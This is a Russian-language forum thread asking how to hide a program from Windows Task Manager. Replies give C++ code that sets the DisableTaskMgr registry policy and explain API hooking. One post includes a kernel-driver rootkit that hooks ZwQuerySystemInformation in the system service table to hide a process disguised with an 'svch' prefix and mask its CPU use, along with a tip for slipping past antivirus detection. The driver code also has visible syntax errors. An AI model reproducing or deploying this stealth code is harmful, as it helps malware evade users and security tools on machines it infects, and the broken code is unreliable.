Компьютерный форум NoWa.cc Здесь может быть Ваша реклама
Правила Форума
редакция от 22.06.2020
Портал .::2BakSa.WS::.
Вернуться   Компьютерный форум NoWa.cc > В помощь вебмастеру > Программирование > Borland C++ Builder

Уважаемые пользователи nowa.cc и 2baksa.ws. У нас сложилось тяжёлое финансовое положение. Мы работаем для вас вот уже более 15 лет и сейчас вынуждены просить о помощи. Окажите посильную поддержку проектам. Мы очень надеемся на вас. Реквизиты для переводов ниже.
Webmoney Webmoney WMZ: 826074280762 Webmoney WME: 804621616710
PayPal PayPal_Email E-mail для связи по вопросу помощи
Кошелёк для вашей помощи YooMoney 4100117770549562
YooMoney Спасибо за поддержку!
Ответ
 
Опции темы Опции просмотра Language
Старый 21.06.2007, 12:03   #1
Новичок
 
Пол:Мужской
Регистрация: 21.06.2007
Сообщений: 9
Репутация: 10
По умолчанию Как спрятать прогу в диспетчере задач?

Как спрятать прогу в диспетчере задач?
IgorC75 вне форума
 
Ответить с цитированием Вверх
Здесь может быть Ваша реклама
Здесь может быть Ваша реклама


Реклама: Супермаркет офисной техники KNS предлагает моноблок Lenovo - более 50-ти тысяч наименований товаров со склада в Москвестол письменный купить в новосибирскеигра на выживание фильм 2012дома барнхаус каталог проектыned kfc 315


Старый 21.06.2007, 12:34   #2
Pluto
Пользователь
 
Аватар для Pluto
 
Пол:Мужской
Регистрация: 04.06.2007
Адрес: Украина
Сообщений: 80
Репутация: 140
По умолчанию Ответ: Как спрятать прогу в диспетчере задач?

Есть вариант не прятать прогу от диспетчера задач, а просто его отключить
Цитата:
{
TRegistry *Registry = new TRegistry;
Registry->RootKey = HKEY_CURRENT_USER;
AnsiString Way="Software\\Microsoft\\Windows\\CurrentVersion\ \Policies\\System";
Registry->OpenKey(Way, True);
Registry->WriteString("DisableTaskMgr", "1"); //блокирует
Registry->CloseKey();
delete Registry;
}

Pluto вне форума
 
Ответить с цитированием Вверх
Старый 18.08.2007, 22:48   #3
antuan1979
Пользователь
 
Аватар для antuan1979
 
Пол:Мужской
Регистрация: 12.05.2007
Адрес: Кириши
Сообщений: 103
Репутация: 53
По умолчанию Ответ: Как спрятать прогу в диспетчере задач?

Подобная тема рассматривается в книге "Си++ глазами хакера"
antuan1979 вне форума
 
Ответить с цитированием Вверх
Старый 21.08.2007, 10:14   #4
Crosslive
Неактивный пользователь
 
Регистрация: 21.08.2007
Сообщений: 6
Репутация: 0
По умолчанию Ответ: Как спрятать прогу в диспетчере задач?

Скачай RXLibrary, там при выборе формы просто поставишь нужные значки (закрыть, спрятать, развернуть) и установишь им свойства какие хочешь.
Crosslive вне форума
 
Ответить с цитированием Вверх
Старый 24.09.2007, 20:13   #5
RaidenYN
Неактивный пользователь
 
Регистрация: 24.09.2007
Сообщений: 13
Репутация: 14
По умолчанию Ответ: Как спрятать прогу в диспетчере задач?

Спрятать прогу от диспетчера не сложно, это можно настроить в свойствах формы. Гораздо сложнее спрятать процесс от всевидящего ока диспетчера задач.
В Windows 9x это довольно элементарно, и решается вызовом соответсвующих API функций. А вот в линейке NT/2000/XP/2003 сложнее. Один раз мне это удалось в делфи. Должно сработать и билдере. Точный код не найду, но идея была поставить глобальный системный хук на вызов диспетчера и поменять список файлов в окне на лету.
RaidenYN вне форума
 
Ответить с цитированием Вверх
Старый 09.01.2008, 05:27   #6
veloroom
Неактивный пользователь
 
Регистрация: 25.09.2006
Сообщений: 8
Репутация: 21
По умолчанию Ответ: Как спрятать прогу в диспетчере задач?

Способо вообще один - реализаций много. Начиная от драйвера перехватывающего функцию NtQuerySystemInformation и заканчивая глобальным хуком. Смысл один: Диспетчер задач вызывает определенные функции API для получения списка процессов системы. Для сокрытия достаточно отловить этот вызов и фильтровать возвращаемые функциями API результаты, не передавая диспетчеру данные о тех процессах которые хочется скрыть.
veloroom вне форума
 
Ответить с цитированием Вверх
Старый 13.04.2010, 12:24   #7
Eijler
Новичок
 
Регистрация: 12.04.2010
Сообщений: 7
Репутация: 0
По умолчанию Re: Как спрятать прогу в диспетчере задач?

Еще можно приложение реализовать в виде системного сервиса, Советую почитать "Системное программирование в Windows" Александра Побегайло.
Eijler вне форума
 
Ответить с цитированием Вверх
Старый 19.04.2010, 16:07   #8
migddk
Неактивный пользователь
 
Аватар для migddk
 
Пол:Мужской
Регистрация: 21.10.2009
Сообщений: 18
Репутация: 1
По умолчанию Re: Как спрятать прогу в диспетчере задач?

Вот код драйвера для скрытия процесов, собирать в Win DDK , если будет ругаться антивирус, поменяй местами обьявления структур!!!
Каспер после таких махинаций с ядром в накуте.
Код HTML:
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build ServiceDescriptorTableEntry_t, *
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
}PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYS_SERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define SYSCALL_IND(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK (_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

#define UNHOOK (_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

PMDL  mdl;
PVOID *MappedSystemCallTable;
 								  

struct _SYSTEM_THREADS
{
LARGE_INTEGER    KernelTime;
LARGE_INTEGER    UserTime;
LARGE_INTEGER    CreateTime;
ULONG            WaitTime;
PVOID            StartAddress;
CLIENT_ID        Clientls;
KPRIORITY        Priority;
KPRIORITY        BasePriority;
ULONG            ContextSwitchCount;
ULONG            ThreadState;
KWAIT_REASON     WaitReason; 
};

struct _SYSTEM_PROCESSES
 {
ULONG             NextEntryDelta;
ULONG             ThreadCount;
ULONG             Reserved[6];
LARGE_INTEGER     CreateTime;
LARGE_INTEGER     UserTime;
LARGE_INTEGER     KernelTime;
UNICODE_STRING    ProcessName;
KPRIORITY         BasePriority;
ULONG             Processld;
ULONG             InheritedFromProcessId;
ULONG             HandleCount;
ULONG             Reserved2[2];
VM_COUNTERS       VmCounters;
IO_COUNTERS       IoCounters; //только для Windows 2000 
struct _SYSTEM_THREADS  Threads[1]; 
};

struct  _SYSTEM_PROCESSOR_TIMES
{
		LARGE_INTEGER					IdleTime;
		LARGE_INTEGER					KernelTime;
		LARGE_INTEGER					UserTime;
		LARGE_INTEGER					DpcTime;
		LARGE_INTEGER					InterruptTime;
		ULONG							InterruptCount;
};

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength);
						

ZWQUERYSYSTEMINFORMATION       Pred_func;
NTSTATUS MyZwQuerySystemInformation(
									IN ULONG SystemInformationClass,
									IN PVOID SystemInformation,
									IN ULONG SystemInformationLength,
									OUT PULONG ReturnLength)
{
DbgPrint ("Visov funkcii lovushki");
s = ((ZWQUERYSYSTEMINFORMATION)(Pred_func))(
											SystemInformationClass,
											SystemInformation,
											SystemInformationLength,
											ReturnLength );
if( NT_SUCCESS(s))
 {
 if(SystemInformationClass == 5)
   {
   struct _SYSTEM_PROCESSES *curr=(struct _SYSTEM_PROCESSES *)SystemInformation;
   struct _SYSTEM_PROCESSES *prev = NULL;
   while(curr)
	  {
	   if ((curr->ProcessName.Buffer) != NULL)
		 {if(0 == memcmp(curr->ProcessName.Buffer, L"[COLOR="Red"]svch[/COLOR]", 12)) // сдесь измени начальные буквы твоего процесcа
		   {UserTime.QuadPart += curr->UserTime.QuadPart;
			 KernelTime.QuadPart += curr->KernelTime.QuadPart;
			 if(prev)
			  {if(curr->NextEntryDelta)
				   prev->NextEntryDelta += curr->NextEntryDelta;
				else
					prev->NextEntryDelta = 0;
              }
			   
			 else
			  {if (curr->NextEntryDelta)
				  (char *)SystemInformation += curr->NextEntryDelta;
				else
				  SystemInformation = NULL;
			  }
			 }
		 }
	  else 
		 {             
curr->UserTime.QuadPart += UserTime.QuadPart;
curr->KernelTime.QuadPart += KernelTime.QuadPart;
UserTime .QuadPart = 0;
KernelTime.QuadPart = 0;
		 }
		 prev = curr;
		 if(curr->NextEntryDelta)
		      ((char *)curr += curr->NextEntryDelta);
		 else 
		      curr = NULL; 
	  }
   }
else if (SystemInformationClass == 8)
   {
    struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
    times->IdleTime.QuadPart += UserTime.QuadPart + KernelTime.QuadPart;   
   }    
 } 
DbgPrint ("lovushki vernula snachenia");
return status;
}



VOID  MyUnload(IN PDRIVER_OBJECT DriverObject) 
{
DbgPrint ("Driver unload");
UNHOOK( ZwQuerySystemInformation, MyZwQuerySystemInformation, Pred_func);STATUS_SUCCESS
return ;
}
NTSTATUS   DriverEntry  (IN PDRIVER_OBJECT DriverObject,
  				    	 IN PUNICODE_STRING  theRegistryPath)
{
DbgPrint ("Driver load");
DriverObject -> DriverUnload = MyUnload;
UserTime.QuadPart = KernelTime.QuadPart = 0;
Pred_func = (ZWQUERYSYSTEMINFORMATION)(SYS_SERVICE(ZwQuerySystemInformation));
mdl = MmCreateMdl(NULL,KeServiceDescriptorTable.ServiceTableBase,KeServiceDescriptorTable.NumberOfServices*4);
if(!mdl) return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(mdl);
mdl->MdlFlags = mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(mdl,KernelMode);										 
HOOK (ZwQuerySystemInformation, MyZwQuerySystemInformation, Pred_func);
DbgPrint ("Lovushka ustanovlena");
return STATUS_SUCCESS;
}

Последний раз редактировалось migddk; 19.04.2010 в 16:09..
migddk вне форума
 
Ответить с цитированием Вверх
Старый 10.02.2011, 18:33   #9
Ivan_Nikit
Неактивный пользователь
 
Пол:Мужской
Регистрация: 10.02.2011
Сообщений: 3
Репутация: 0
По умолчанию Re: Как спрятать прогу в диспетчере задач?

Для того, чтобы спрятать из полосы задач Программу, необходимо в ОnCreate вставить

Form1->Visible = false //Предполагается, что у Вас 1 форма с именем Form1
Application->ShowMainForm = false;

После этого приложение будет видно только в процессах

Последний раз редактировалось Ivan_Nikit; 10.02.2011 в 18:38..
Ivan_Nikit вне форума
 
Ответить с цитированием Вверх
Ответ


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Процессы в диспетчере задач Ko_2009 Windows XP 21 26.03.2010 00:34
Как спрятать файлы на винте :-)) olga14 Скорая помощь 31 20.04.2009 01:54
Исчезла вкладка "Пользователи" в Диспетчере задач beh_older Windows XP 4 23.06.2008 16:17
спрятать ссылку anga Архив 5 26.01.2008 21:36

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 18:00. Часовой пояс GMT +3.


Copyright ©2004 - 2024 2BakSa.WS

Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2024, vBulletin Solutions, Inc. Перевод: zCarot
Время генерации страницы 0.17224 секунды с 13 запросами